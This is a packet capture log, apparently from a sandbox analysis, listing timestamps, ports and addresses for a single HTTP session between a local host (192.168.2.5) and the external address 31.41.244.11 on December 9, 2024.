Dec 9, 2024 15:30:13.227680922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.227690935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.227726936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.227758884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.229058981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.229074955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.229106903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.229125977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.231117964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.231132984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.231167078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.231178999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.232510090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.232525110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.232563972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.232575893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.234055996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.234074116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.234117031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.234129906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.235445976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.235460997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.235492945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.235507965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.235588074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.235631943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.237543106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.237559080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.237586975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.237613916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.238698006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.238711119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.238758087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.240051031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.240066051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.240098953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.240128040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.241635084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.241648912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.241660118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.241679907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.241710901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.243201971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.243216991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.243251085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.243263960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.244504929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.244517088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.244563103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.246213913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.246233940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.246264935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.246282101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.247550964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.247565031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.247596979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.247622967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.249191046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.249207020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.249217033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.249247074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.249260902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.250437975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.250451088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.250494957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.251318932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.251344919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.251367092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.251395941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.254735947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.254749060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.254791021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.254806042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.255026102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.255040884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.255058050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.255067110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.255083084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.255100012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.256731987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.256743908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.256779909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.258096933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.258114100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.258143902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.258160114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.258759022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.258784056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.258796930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.258814096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.260365009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.260380030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.260406017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.260421038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.261826038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.261841059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.261852980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.261871099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.261888981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.263283014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.263326883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.263326883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.263364077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.264823914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.264838934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.264866114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.264878035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.266275883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.266290903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.266324997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.267756939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.267803907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.267807007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.267849922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.269321918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.269336939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.269350052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.269365072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.269395113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.270864010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.270880938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.270909071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.270929098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.272345066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.272357941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.272387981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.272398949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.273912907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.273935080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.273943901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.273962021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.273979902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.386776924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.386890888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.387052059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.387105942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.387768030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.387821913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.388405085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.388449907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.389184952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.389200926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.389225960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.389250040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.390460968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.390506029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.391118050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.391161919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.391908884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.391923904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.391963005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.391978025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.393170118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.393184900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.393214941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.393229008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.394634008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.394654989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.394681931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.394695044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.395910025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.395925045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.395956039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.395971060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.397289991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.397301912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.397350073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.398602009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.398616076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.398646116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.398677111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.400043011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.400055885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.400088072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.401345015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.401359081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.401395082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.402667046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.402679920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.402710915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.402738094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.404160023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.404172897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.404210091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.405606031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.405618906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.405658960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.407162905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.407176018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.407210112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.408655882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.408674002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.408704996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.408734083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.410159111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.410171986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.410208941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.411746025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.411767006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.411793947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.411820889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.413292885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.413307905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.413336992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.413363934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.414829016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.414843082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.414855003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.414879084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.414910078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.416332006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.416346073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.416378975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.416405916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.417917967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.417932034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.417962074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.419230938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.419245005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.419275045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.420775890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.420789957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.420800924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.420819998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.420840025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.422275066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.422324896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.423827887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.423851013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.423862934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.423871040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.423894882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.425652981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.425666094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.425702095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.426975965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.426990032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.427016973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.427042961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.428462029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.428477049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.428504944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.428534985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.429775953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.429790020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.429801941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.429816008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.431277037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.431293011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.431303978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.431324005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.431349039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.432524920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.432538986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.432564974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.432585001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.434289932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.434305906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.434334040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.434349060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.435447931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.435489893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.435492039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.435532093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.437015057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.437030077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.437047958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.437058926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.437086105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.438492060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.438507080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.438532114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.438555956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.440109968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.440124989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.440155029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.441473007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.441488028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.441519022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.443085909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.443130016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.444492102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.444505930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.444540977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.446523905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.446540117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.446576118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.446605921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.447792053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.447830915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.447838068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.447845936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.447870970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.447890043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.449071884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.449086905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.449112892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.449132919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.450570107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.450587988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.450632095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.450651884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.452178001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.452192068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.452228069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.452244043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.453510046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.453525066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.453564882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.455054998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.455069065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.455080032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.455101013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.455132961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.456527948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.456548929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.456585884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.456618071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.458251953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.458270073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.458312035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.458343983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.459506035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.459517956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.459561110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.578644991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.578773022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.578989983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.579045057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.579715967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.579767942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.580432892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.580483913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.580813885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.580827951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.580862999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.580884933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.582170010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.582227945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.583759069 CET	80	49866	31.41.244.11	192.168.2.5
